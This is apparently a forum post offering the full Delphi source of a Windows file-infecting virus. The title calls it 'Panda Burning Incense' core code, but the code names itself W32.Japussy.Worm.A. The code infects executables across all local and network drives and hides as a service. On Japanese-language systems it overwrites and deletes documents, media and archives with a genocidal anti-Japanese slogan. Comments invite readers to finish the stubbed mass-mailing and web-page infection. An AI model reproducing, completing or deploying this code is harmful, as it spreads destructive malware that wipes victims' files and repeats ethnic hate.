熊貓燒香 - 核心源碼???
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代碼:--------------------------------------------------------------------------------
程序代碼
program Japussy;
uses
? Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
? HeaderSize = 82432;????????????????? //病毒體的大小
? IconOffset = $12EB8;???????????????? //PE文件主圖標的偏移量
?
? //在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
? //查找2800000020的十六進制字符串可以找到主圖標的偏移量
??
{
? HeaderSize = 38912;????????????????? //Upx壓縮過病毒體的大小
? IconOffset = $92BC;????????????????? //Upx壓縮過PE文件主圖標的偏移量
?
? //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
? IconSize?? = $2E8;?????????????????? //PE文件主圖標的大小--744字節
? IconTail?? = IconOffset + IconSize;? //PE文件主圖標的尾部
? ID???????? = $44444444;????????????? //感染標記
?
? //垃圾碼，以備寫入
? Catchword = 'If a race need to be killed out, it must be Yamato. ' +
????????????? 'If a country need to be destroyed, it must be Japan! ' +
????????????? '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
? stdcall; external 'Kernel32.dll'; //函數聲明
var
? TmpFile: string;
? Si:????? STARTUPINFO;
? Pi:????? PROCESS_INFORMATION;
? IsJap:?? Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
? Ver: TOSVersionInfo;
begin
? Result := False;
? Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
? if not GetVersionEx(Ver) then
??? Exit;
? if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
??? Result := True;
end;
{ 在流之間復制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
? dStartPos: Integer; Count: Integer);
var
? sCurPos, dCurPos: Integer;
begin
? sCurPos := Src.Position;
? dCurPos := Dst.Position;
? Src.Seek(sStartPos, 0);
? Dst.Seek(dStartPos, 0);
? Dst.CopyFrom(Src, Count);
? Src.Seek(sCurPos, 0);
? Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來，以備使用 }
procedure ExtractFile(FileName: string);
var
? sStream, dStream: TFileStream;
begin
? try
??? sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
??? try
????? dStream := TFileStream.Create(FileName, fmCreate);
????? try
??????? sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
??????? dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
????? finally
??????? dStream.Free;
????? end;
??? finally
????? sStream.Free;
??? end;
? except
? end;
end;
{ 填充STARTUPINFO結構 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
? Si.cb := SizeOf(Si);
? Si.lpReserved := nil;
? Si.lpDesktop := nil;
? Si.lpTitle := nil;
? Si.dwFlags := STARTF_USESHOWWINDOW;
? Si.wShowWindow := State;
? Si.cbReserved2 := 0;
? Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procedure SendMail;
begin
? //哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
? HdrStream, SrcStream: TFileStream;
? IcoStream, DstStream: TMemoryStream;
? iID: LongInt;
? aIcon: TIcon;
? Infected, IsPE: Boolean;
? i: Integer;
? Buf: array[0..1] of Char;
begin
? try //出錯則文件正在被使用，退出
??? if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
????? Exit;
??? Infected := False;
??? IsPE???? := False;
??? SrcStream := TFileStream.Create(FileName, fmOpenRead);
??? try
????? for i := 0 to $108 do //檢查PE文件頭
????? begin
??????? SrcStream.Seek(i, soFromBeginning);
??????? SrcStream.Read(Buf, 2);
??????? if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
??????? begin
????????? IsPE := True; //是PE文件
????????? Break;
??????? end;
????? end;
????? SrcStream.Seek(-4, soFromEnd); //檢查感染標記
????? SrcStream.Read(iID, 4);
????? if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
??????? Infected := True;
??? finally
????? SrcStream.Free;
??? end;
??? if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
????? Exit;
??? IcoStream := TMemoryStream.Create;
??? DstStream := TMemoryStream.Create;
??? try
????? aIcon := TIcon.Create;
????? try
??????? //得到被感染文件的主圖標(744字節)，存入流
??????? aIcon.ReleaseHandle;
??????? aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
??????? aIcon.SaveToStream(IcoStream);
????? finally
??????? aIcon.Free;
????? end;
????? SrcStream := TFileStream.Create(FileName, fmOpenRead);
????? //頭文件
????? HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
????? try
??????? //寫入病毒體主圖標之前的數據
??????? CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
??????? //寫入目前程序的主圖標
??????? CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
??????? //寫入病毒體主圖標到病毒體尾部之間的數據
??????? CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
??????? //寫入宿主程序
??????? CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
??????? //寫入已感染的標記
??????? DstStream.Seek(0, 2);
??????? iID := $44444444;
??????? DstStream.Write(iID, 4);
????? finally
??????? HdrStream.Free;
????? end;
??? finally
????? SrcStream.Free;
????? IcoStream.Free;
????? DstStream.SaveToFile(FileName); //替換宿主文件
????? DstStream.Free;
??? end;
? except;
? end;
end;

{ 將目標文件寫入垃圾碼后刪除 }
procedure SmashFile(FileName: string);
var
? FileHandle: Integer;
? i, Size, Mass, Max, Len: Integer;
begin
? try
??? SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
??? FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
??? try
????? Size := GetFileSize(FileHandle, nil); //文件大小
????? i := 0;
????? Randomize;
????? Max := Random(15); //寫入垃圾碼的隨機次數
????? if Max < 5 then
??????? Max := 5;
????? Mass := Size div Max; //每個間隔塊的大小
????? Len := Length(Catchword);
????? while i < Max do
????? begin
??????? FileSeek(FileHandle, i * Mass, 0); //定位
??????? //寫入垃圾碼，將文件徹底破壞掉
??????? FileWrite(FileHandle, Catchword, Len);
??????? Inc(i);
????? end;
??? finally
????? FileClose(FileHandle); //關閉文件
??? end;
??? DeleteFile(PChar(FileName)); //刪除之
? except
? end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
? DiskType: Word;
? D: Char;
? Str: string;
? i: Integer;
begin
? for i := 0 to 25 do //遍歷26個字母
? begin
??? D := Chr(i + 65);
??? Str := D + ':';
??? DiskType := GetDriveType(PChar(Str));
??? //得到本地磁盤和網絡盤
??? if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
????? Result := Result + D;
? end;
end;
{ 遍歷目錄，感染和摧毀文件 }
procedure LoopFiles(Path, Mask: string);
var
? i, Count: Integer;
? Fn, Ext: string;
? SubDir: TStrings;
? SearchRec: TSearchRec;
? Msg: TMsg;
? function IsValidDir(SearchRec: TSearchRec): Integer;
? begin
??? if (SearchRec.Attr <> 16) and? (SearchRec.Name <> '.') and
????? (SearchRec.Name <> '..') then
????? Result := 0 //不是目錄
??? else if (SearchRec.Attr = 16) and? (SearchRec.Name <> '.') and
????? (SearchRec.Name <> '..') then
??????? Result := 1 //不是根目錄
??? else Result := 2; //是根目錄
? end;
begin
? if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
? begin
??? repeat
????? PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑
????? if IsValidDir(SearchRec) = 0 then
????? begin
??????? Fn := Path + SearchRec.Name;
??????? Ext := UpperCase(ExtractFileExt(Fn));
??????? if (Ext = '.EXE') or (Ext = '.SCR') then
??????? begin
????????? InfectOneFile(Fn); //感染可執行文件???????
??????? end
??????? else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
??????? begin
????????? //感染HTML和ASP文件，將Base64編碼后的病毒寫入
????????? //感染瀏覽此網頁的所有用戶
????????? //哪位大兄弟愿意完成之？
??????? end
??????? else if Ext = '.WAB' then //Outlook地址簿文件
??????? begin
????????? //獲取Outlook郵件地址
??????? end
??????? else if Ext = '.ADC' then //Foxmail地址自動完成文件
??????? begin
????????? //獲取Foxmail郵件地址
??????? end
??????? else if Ext = 'IND' then //Foxmail地址簿文件
??????? begin
????????? //獲取Foxmail郵件地址
??????? end
??????? else
??????? begin
????????? if IsJap then //是倭文操作系統
????????? begin
??????????? if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
????????????? (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
????????????? (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
????????????? (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
????????????? (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
????????????? (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
??????????????? SmashFile(Fn); //摧毀文件
????????? end;
??????? end;
????? end;
????? //感染或刪除一個文件后睡眠200毫秒，避免CPU占用率過高引起懷疑
????? Sleep(200);
??? until (FindNext(SearchRec) <> 0);
? end;
? FindClose(SearchRec);
? SubDir := TStringList.Create;
? if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
? begin
??? repeat
????? if IsValidDir(SearchRec) = 1 then
??????? SubDir.Add(SearchRec.Name);
??? until (FindNext(SearchRec) <> 0);
??? end;
? FindClose(SearchRec);
? Count := SubDir.Count - 1;
? for i := 0 to Count do
??? LoopFiles(Path + SubDir.Strings[i] + '', Mask);
? FreeAndNil(SubDir);
end;
{ 遍歷磁盤上所有的文件 }
procedure InfectFiles;

var
? DriverList: string;
? i, Len: Integer;
begin
? if GetACP = 932 then //日文操作系統
??? IsJap := True; //去死吧！
? DriverList := GetDrives; //得到可寫的磁盤列表
? Len := Length(DriverList);
? while True do //死循環
? begin
??? for i := Len downto 1 do //遍歷每個磁盤驅動器
????? LoopFiles(DriverList[i] + ':', '*.*'); //感染之
??? SendMail; //發帶毒郵件
??? Sleep(1000 * 60 * 5); //睡眠5分鐘
? end;
end;
{ 主程序開始 }
begin
? if IsWin9x then //是Win9x
??? RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
? else //WinNT
? begin
??? //遠程線程映射到Explorer進程
??? //哪位兄臺愿意完成之？
? end;
? //如果是原始病毒體自己
? if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
??? InfectFiles //感染和發郵件
? else //已寄生于宿主程序上了，開始工作
? begin
??? TmpFile := ParamStr(0); //創建臨時文件
??? Delete(TmpFile, Length(TmpFile) - 4, 4);
??? TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個空格
??? ExtractFile(TmpFile); //分離之
??? FillStartupInfo(Si, SW_SHOWDEFAULT);
??? CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
????? 0, nil, '.', Si, Pi); //創建新進程運行之
??? InfectFiles; //感染和發郵件
? end;
end.

?

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完畢！